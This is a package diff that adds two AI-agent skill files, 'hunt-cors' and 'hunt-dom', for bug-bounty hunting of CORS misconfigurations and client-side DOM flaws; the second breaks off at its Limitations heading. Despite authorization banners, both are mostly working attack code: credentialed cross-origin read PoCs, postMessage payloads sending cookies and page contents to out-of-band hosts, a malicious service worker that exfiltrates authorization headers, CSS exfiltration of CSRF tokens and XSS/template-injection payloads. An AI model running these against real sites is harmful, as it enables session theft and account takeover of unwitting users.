opencode-skills-collection 4.0.68 → 4.0.70

package/bundled-skills/hunt-cors/SKILL.md

@@ -0,0 +1,335 @@
+---
+name: hunt-cors
+description: Hunt CORS Misconfiguration
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+report_count: 19
+sources: hackerone_public
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration
+
+## What actually pays (and what does not)
+
+CORS pays High **only** when an attacker-controlled origin can perform a
+**credentialed** cross-origin read of sensitive authenticated data, and you
+have a browser PoC proving the response body is readable from `evil.com`.
+
+Two hard browser rules that kill most "findings" — check these FIRST:
+
+- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**
+  If the server returns `ACAO: *`, the browser refuses to send/expose the
+  response for a `credentials: include` request. A wildcard-only endpoint is
+  **not** credential-exploitable. It is only interesting if the data it serves
+  is sensitive *without* a session (rare) — usually this is Informational/Low.
+- **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It
+  matters only if `ACAO` reflects/allows your specific attacker origin AND a
+  cross-origin credentialed `fetch` actually returns a readable body. ACAC on a
+  response that does not reflect your origin proves nothing.
+
+If you cannot demonstrate a readable cross-origin authed body in a real
+browser, you do not have a High. Do not submit header-diffing alone.
+
+---
+
+## Crown Jewel Targets
+
+- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND
+  sets `ACAC: true` → any site reads authed API responses. The classic High.
+- **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a
+  `data:`/redirect chain) emits `Origin: null`, so any page can read authed data.
+- **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The
+  correct payload depends on *which* flaw (see Phase 3 — this is where most
+  skills get it wrong).
+- **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS
+  policy trusts; take it over, host the PoC there (see hunt-subdomain).
+- **postMessage missing/loose origin check** — handler that processes
+  `event.data` without strictly validating `event.origin`.
+
+---
+
+## Attack Surface Signals
+
+```
+Any endpoint returning an Access-Control-Allow-Origin header
+API endpoints:   /api/*, /v1/*, /graphql
+Profile/account: /api/me, /api/profile, /api/user, /api/session
+Secrets/tokens:  /api/tokens, /api/keys, /api/csrf, /api/account/settings
+Financial:       /api/balance, /api/transactions
+Admin/internal:  /api/admin/*, /api/internal/*
+```
+
+Prioritize endpoints that (a) require a session cookie and (b) return PII,
+tokens, CSRF tokens, or other secrets in the body.
+
+---
+
+## Step-by-Step Hunting Methodology
+
+### Phase 1 — Discover CORS endpoints
+```bash
+# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
+# and -I sends HEAD which may be handled differently.
+while read url; do
+  result=$(curl -s -D - -o /dev/null "$url" \
+    -H "Origin: https://evil.com" \
+    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
+  [ -n "$result" ] && echo "=== $url ===" && echo "$result"
+done < recon/$TARGET/api-endpoints.txt
+
+# httpx bulk check
+cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
+  httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
+```
+
+### Phase 2 — Reflect-any-origin + null origin
+```bash
+# Does the server reflect an arbitrary Origin back?
+curl -s -D - -o /dev/null https://$TARGET/api/me \
+  -H "Origin: https://evil.com" \
+  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
+
+# Vulnerable (the High case):
+#   Access-Control-Allow-Origin: https://evil.com   <- reflects attacker origin
+#   Access-Control-Allow-Credentials: true          <- + credentials => readable
+#
+# NOT exploitable for credentialed theft:
+#   Access-Control-Allow-Origin: *                   <- browser blocks creds read
+#   (no ACAC, or ACAC absent)                        <- not credentialed
+
+# Null-origin trust
+curl -s -D - -o /dev/null https://$TARGET/api/me \
+  -H "Origin: null" \
+  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
+# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true
+```
+
+### Phase 3 — Subdomain / trusted-origin regex bypass
+The right payload depends on **which** regex flaw the server has. Identify the
+class first, then send the matching payload. Getting this wrong wastes the test
+and produces false negatives.
+
+| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |
+|---|---|---|---|
+| `^https?://.*\.target\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |
+| `^https?://.*target\.com$` | **Missing dot separator** (no `\.` before `target`) | `https://eviltarget.com` | `.*target\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |
+| `^https?://.*\.target\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |
+| `^https?://target\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |
+| `^https?://.*\.target\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = "any char" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |
+| Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |
+
+```bash
+# Send each class-specific payload and watch what the server reflects.
+for ORIGIN in \
+  "https://evil.target.com" \
+  "https://eviltarget.com" \
+  "https://x.target.com.evil.com" \
+  "https://target.com.evil.com" \
+  "https://target.com%60.evil.com" \
+  "http://target.com"; do
+  RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
+    -H "Origin: $ORIGIN" \
+    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
+  echo "[$ORIGIN] -> ${RESULT:-no CORS}"
+done
+```
+A bypass is real only if the server reflects **your registerable origin** into
+`ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless
+you can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).
+
+### Phase 3b — Trusted insecure (HTTP) origin
+If ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.
+```bash
+curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control
+```
+Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)
+
+### Phase 4 — Pre-flight (OPTIONS) gating bypass
+Non-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple
+`Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends
+the real request if the pre-flight response authorizes the method/header. Two
+things to test:
+
+1. **Does the pre-flight authorize arbitrary methods/headers for your origin?**
+   If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect
+   whatever you ask for, a malicious origin can drive state-changing requests
+   (chain to CSRF-style writes that JSON/SameSite would otherwise block).
+
+```bash
+curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
+  -H "Origin: https://evil.com" \
+  -H "Access-Control-Request-Method: PUT" \
+  -H "Access-Control-Request-Headers: x-custom-auth, content-type" \
+  | grep -i "access-control"
+# Vulnerable: ACAO reflects evil.com + ACAC:true +
+#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth
+# => attacker origin can issue authed PUT/DELETE with custom headers.
+```
+
+2. **Is the pre-flight even enforced server-side?** Some servers reflect the
+   origin on `OPTIONS` but the actual GET/POST also reflects — the read path is
+   the bug; the pre-flight just confirms write-path reach. Test the GET/POST
+   directly too — never assume the pre-flight result equals the real-request
+   result. Confirm in a browser, because curl ignores CORS entirely.
+
+### Phase 5 — Browser PoCs (the only thing that proves impact)
+curl does NOT enforce CORS — it will happily show you a reflected header even
+when a browser would block the read. **Every CORS High needs a browser PoC.**
+
+**5a. Reflect-any-origin read** (host on evil.com, open while logged into target):
+```html
+<!doctype html><body><pre id="out"></pre>
+<script>
+fetch("https://TARGET/api/me", {credentials: "include"})
+  .then(r => r.text())
+  .then(d => {
+    document.getElementById("out").innerText = d;        // prove readable body
+    // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
+  })
+  .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
+</script></body>
+```
+If you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a
+valid finding regardless of what curl showed (this is the `ACAO: *` + creds case).
+
+**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner
+document must lack `allow-same-origin` so its origin is opaque (`null`):
+```html
+<!doctype html><body>
+<!-- Outer page hosted anywhere -->
+<iframe sandbox="allow-scripts" srcdoc='
+  <script>
+    fetch("https://TARGET/api/me", {credentials: "include"})
+      .then(r => r.text())
+      .then(d => parent.postMessage(d, "*"));
+  &lt;/script&gt;'></iframe>
+<script>
+window.addEventListener("message", e => {
+  // d is the authed body, read cross-origin via a null Origin
+  // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
+  console.log("NULL-ORIGIN READ:", e.data);
+});
+</script></body>
+```
+(Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the
+request through a 302 redirect chain whose final hop is cross-scheme.)
+
+**5c. Trusted-subdomain read** — once you control a host that the regex trusts
+(real subdomain via takeover, or a registerable origin that matches a buggy
+regex from Phase 3), host **5a** there. The reflected origin is now an origin
+you legitimately serve, so the browser allows the read.
+
+### Phase 6 — postMessage origin check
+```bash
+# Find message handlers that don't strictly validate event.origin.
+grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
+  | grep -v "\.origin"
+# Then audit each hit: does it check event.origin against an allowlist
+# BEFORE using event.data? Weak checks to flag:
+#   .indexOf("target.com") > -1      <- "target.com.evil.com" passes
+#   .endsWith("target.com")          <- "eviltarget.com" passes
+#   startsWith("https://target")     <- "https://target.evil.com" passes
+#   no check at all
+```
+postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,
+client-side auth bypass). See hunt-dom for exploitation depth.
+
+---
+
+## Automation (triage only — never the proof)
+```bash
+# corsy — fast reflection/null/pre-domain checks
+pip3 install corsy
+corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
+
+# nuclei CORS templates
+nuclei -u https://$TARGET -t http/misconfiguration/cors/
+
+# Burp: passively flags origin reflection; always re-confirm in a real browser.
+```
+Every automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.
+
+---
+
+## Chain Table
+
+| CORS finding | Chain to | Impact |
+|---|---|---|
+| Reflects attacker origin + creds | Browser-read `/api/me`, `/api/tokens`, `/api/csrf` | PII + token + CSRF-token theft → often ATO |
+| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |
+| Pre-flight allows arbitrary method/header | Drive authed `PUT`/`DELETE` from evil origin | Cross-origin state change |
+| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |
+| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |
+| postMessage no/loose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS / client auth bypass |
+
+---
+
+## Validation discipline (read before submitting)
+
+- **Browser proof mandatory.** curl reflecting a header is NOT exploitation.
+  Show a screenshot/console log of the authed body read from `evil.com`. If the
+  fetch throws / logs `BLOCKED`, you have nothing.
+- **`ACAO: *` + credentials = not a finding.** Browsers block it. Only pursue
+  wildcard if the data is sensitive unauthenticated (then it is usually Low).
+- **`ACAC: true` alone proves nothing** — it must pair with your reflected
+  origin AND a successful readable cross-origin body.
+- **Match the regex class to the payload (Phase 3).** Do not submit
+  `target.com.evil.com` against an end-anchored escaped-dot regex — it does not
+  match and is not a bug.
+- **`evil.target.com` reflecting is not automatically a bug** — it is an
+  in-scope subdomain by design unless you can actually control it.
+- **OOB confirmation** for blind/headless contexts: exfil the read body to a
+  Burp Collaborator / oastify host and show the interaction. Use a unique
+  per-test marker so the hit is unambiguously yours.
+- **Sensitive data requirement.** A readable `/api/health` is not High. Tie the
+  read to PII, tokens, secrets, or financial data to justify severity.
+
+**Severity:**
+- Reflects attacker origin + creds + sensitive body, browser-proven: High
+- Pre-flight authorizes attacker-origin state change on sensitive action: High
+- Null-origin + sensitive authed body, browser-proven: Medium–High
+- Subdomain-takeover/XSS-assisted credentialed read: High/Critical
+- Reflects origin, no credentials / non-sensitive: Low–Informational
+- `ACAO: *` only (no creds possible): Informational unless data is secret
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-dom/SKILL.md

@@ -0,0 +1,323 @@
+---
+name: hunt-dom
+description: Hunt client-side DOM vulnerabilities
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: portswigger_research, hackerone_public, github_security_advisories
+report_count: 14
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
+
+## Crown Jewel Targets
+
+DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
+
+**Highest-value chains:**
+- **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
+- **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink.
+- **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture.
+- **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
+
+### Grounding — public research this is distilled from
+- **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
+- **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
+- **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
+- **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint).
+> Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.
+
+---
+
+## Attack Surface Signals
+
+```
+# Injection points that allow MARKUP but may strip <script>:
+user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
+
+# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
+*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes
+
+# Service worker presence:
+/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)
+
+# CSS injection points:
+?theme=  custom-css profile field  email-template editor  style= passthrough
+```
+
+---
+
+## Phase 1 — DOM Clobbering
+
+```bash
+# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
+# clobberable global into a sink (location, innerHTML, eval, script.src).
+# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
+
+# Single-level clobber of window.config:
+#   <a id="config" href="https://evil.com">
+# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
+#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
+# Clobber a string-coerced URL value (anchor toString() == href):
+#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
+# Nested window.a.b.c via form/inputs:
+#   <form id="a"><input id="b" name="c" value="clobbered"></form>
+# baseURI / relative-URL hijack:
+#   <base href="https://evil.com/">      # bends every relative src/href
+```
+
+```javascript
+// Browser console: find globals that are clobberable AND reach a sink.
+// A var only matters if the app later concatenates it into a URL/HTML/eval.
+const susp = ['config','settings','options','appConfig','init','data','user',
+  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
+susp.forEach(k => {
+  const v = window[k];
+  // HTMLCollection / element => already clobbered or clobberable namespace
+  if (v && (v instanceof Element || v instanceof HTMLCollection))
+    console.log('[CLOBBERED/NAMESPACE]', k, v);
+  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
+});
+```
+
+```bash
+# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
+curl -s "https://$TARGET/" | grep -nE \
+  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
+location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
+# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
+```
+
+**jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.
+
+---
+
+## Phase 2 — PostMessage Hijacking
+
+Two bug classes: (a) **listener** trusts cross-origin data → drive a sink/privileged action; (b) **sender** broadcasts secrets with target origin `'*'` → any framing page reads them.
+
+```bash
+# Find handlers and flag the ones with NO origin check
+grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
+  | grep -vE "\.origin\b" 
+# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
+# Senders that leak: grep for postMessage(<secret>, '*')
+grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
+```
+
+```html
+<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
+<!-- Host on attacker.com; frames target and pushes a privileged message -->
+<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
+<script>
+  document.getElementById('f').onload = () => {
+    const w = document.getElementById('f').contentWindow;
+    // Shape the payload to whatever the handler routes into a sink:
+    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
+    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
+  };
+</script>
+```
+
+```html
+<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
+<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
+<pre id="out"></pre>
+<script>
+addEventListener('message', e => {
+  // Only count it if e.origin is the TARGET and data carries a secret
+  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
+  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
+    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
+});
+</script>
+```
+
+> False-positive guard: a handler with a *partial* check (`origin.indexOf('target.com')>-1`, `endsWith('target.com')`, regex `target\.com`) is still vulnerable — bypass with `target.com.evil.com` or `eviltarget.com`. Confirm by serving the PoC from such a look-alike host and showing the message still lands.
+
+---
+
+### PostMessage handler race — win the message before origin is set
+Beyond static origin/sender checks: some handlers trust the FIRST message, or read `event.origin` while it is still `""`/`null` during frame load. Race it — flood `postMessage` in a tight loop during iframe/popup load, or fire from `about:blank` before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356.
+
+## Phase 3 — Service Worker Abuse
+
+**Hard rule (corrects a common mistake):** a SW script URL **must be same-origin** as the page calling `register()`. A cross-origin script URL (`https://evil.com/sw.js`) throws `SecurityError` — there is **no header that enables cross-origin SW *script* registration**. `Service-Worker-Allowed` only widens the **scope** a same-origin script may control, not where the script may live.
+
+So the realistic path is: get a SW script **onto the target origin** (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with `text/javascript`, or an existing route under your control), then register it from same-origin XSS.
+
+```bash
+# Enumerate existing SW + its scope
+curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
+for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
+  curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
+curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
+# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
+#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
+```
+
+```javascript
+// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
+// served by the target). scope must be <= the directory the script is served from
+// unless the response carries Service-Worker-Allowed.
+navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
+  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
+  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope
+
+// evil-sw.js (served from the TARGET origin):
+self.addEventListener('fetch', e => {
+  e.respondWith(fetch(e.request.clone()).then(async resp => {
+    // Exfil URL + any auth header the page attaches, to OOB
+    fetch('https://OOB/sw-intercept', {method:'POST',
+      body: JSON.stringify({url: e.request.url,
+        auth: e.request.headers.get('authorization')})});
+    return resp;
+  }));
+});
+```
+
+> Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.
+
+---
+
+## Phase 4 — CSS Injection / Exfiltration
+
+```bash
+# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
+# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
+# Step 1 confirm injection: inject "color:red" on a known element, observe render.
+# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
+```
+
+> **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.
+
+```css
+/* One request fires only for the matching first char. */
+input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
+input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
+/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
+meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
+```
+
+```python
+# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
+import string
+chars = string.ascii_letters + string.digits + '-_'
+attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
+print("\n".join(
+  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
+# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
+# position's rules only after the current prefix matched (d0nut technique) —
+# this removes the "static input, one char" limitation.
+```
+
+> Validation: the proof is **OOB hits**, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).
+
+---
+
+## Phase 5 — dangerouslySetInnerHTML / framework sinks
+
+```bash
+grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
+# In minified Next/React bundles:
+curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
+# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
+# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.
+```
+
+---
+
+## Phase 6 — Client-Side Template Injection
+
+```bash
+# Detect framework, then test the {{}} sink in a sandbox-bypass form.
+grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
+# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
+#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
+# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
+#   {{constructor.constructor('alert(document.domain)')()}}
+# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)
+```
+
+---
+
+## Chain Table
+
+| DOM finding | Chain to | Impact |
+|-------------|----------|--------|
+| DOM Clobbering → clobbered URL into `script.src`/`location` | DOM-XSS under markup-only injection | High / auth bypass |
+| PostMessage no/weak origin check (listener) | data → innerHTML/eval/location sink | DOM-XSS → ATO |
+| PostMessage `targetOrigin:'*'` sender | any framing page reads token/auth code | Cross-origin token theft |
+| CSS exfil (OOB-confirmed) | leak CSRF token → fire CSRF | CSRF chain (Medium+) |
+| Same-origin Service Worker via XSS | intercept all in-scope fetch + auth headers | Persistent ATO (Critical) |
+| dangerouslySetInnerHTML, no sanitizer | stored DOM-XSS | XSS → ATO |
+
+---
+
+## Tools
+
+```bash
+# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
+# postMessage-tracker — Chrome extension logging cross-window messages
+# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
+# Verify any tool URL before citing it in a report; do not paste unverified repo links.
+```
+
+---
+
+## Validation (false-positive discipline)
+
+Match the repo standard: a technique that *fires in DevTools* is not a finding until impact is **OOB-confirmed** and **state-proven**.
+
+- **DOM Clobbering** — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
+- **PostMessage** — distinguish a *missing* check from a *weak* one; bypass weak checks from a look-alike origin and capture via OOB. A noisy `message` log alone is not proof — show the privileged action or token exfil.
+- **CSS exfil** — **OOB callback per correct character is the only proof.** Read CSP first: `img-src`/`style-src`/`connect-src`/`default-src` restricting external origins kills it. A blocked `url()` is indistinguishable from success in the Network tab — confirm on the Collaborator side.
+- **Service Worker** — registration must be **same-origin script**; a `SecurityError` means you cited the wrong origin. Prove *persistence* (close tabs → reopen → fresh OOB hit, no XSS re-fire).
+- **General** — unique per-test markers (`btoa(domain)+nonce`) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.
+
+**Severity:**
+- Same-origin Service Worker → persistent credential intercept: **Critical**
+- PostMessage data → DOM-XSS / token theft → ATO: **High–Critical**
+- DOM Clobbering → DOM-XSS reaching auth/session: **High**
+- CSS exfil of CSRF token (OOB-proven) → CSRF: **Medium** (raise if the chained CSRF is account-critical)
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
